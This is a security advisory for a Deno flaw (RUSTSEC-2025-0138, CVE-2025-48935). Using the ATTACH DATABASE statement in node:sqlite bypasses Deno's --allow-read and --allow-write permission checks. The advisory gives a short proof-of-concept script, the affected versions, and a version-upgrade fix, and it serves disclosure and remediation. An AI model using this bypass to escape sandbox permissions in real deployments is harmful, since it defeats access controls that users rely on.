Advisory

RUSTSEC-2025-0138

Also known as: CVE-2025-48935, GHSA-8vxj-4cph-c596

Summary

--allow-read / --allow-write permission bypass in node:sqlite

Details

It is possible to bypass Deno's read/write permission
checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js

Severity

Not rated by the source.

Dates

Published
2025-06-03 12:00 UTC
Modified
2026-10-12 18:00 UTC

Affected packages and fixes

deno

crates.io · All systems

Affected

  • introduced 2.2.0, fixed 2.2.5 (semver)

Fixed versions

2.2.5

Fix

  • Fixed version 2.2.5
    cargo update -p deno --precise 2.2.5

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: RustSec Advisory Database · CC BY 4.0

This record names its own licence, CC BY 4.0, which differs from the source's (CC0-1.0).

Sources & licences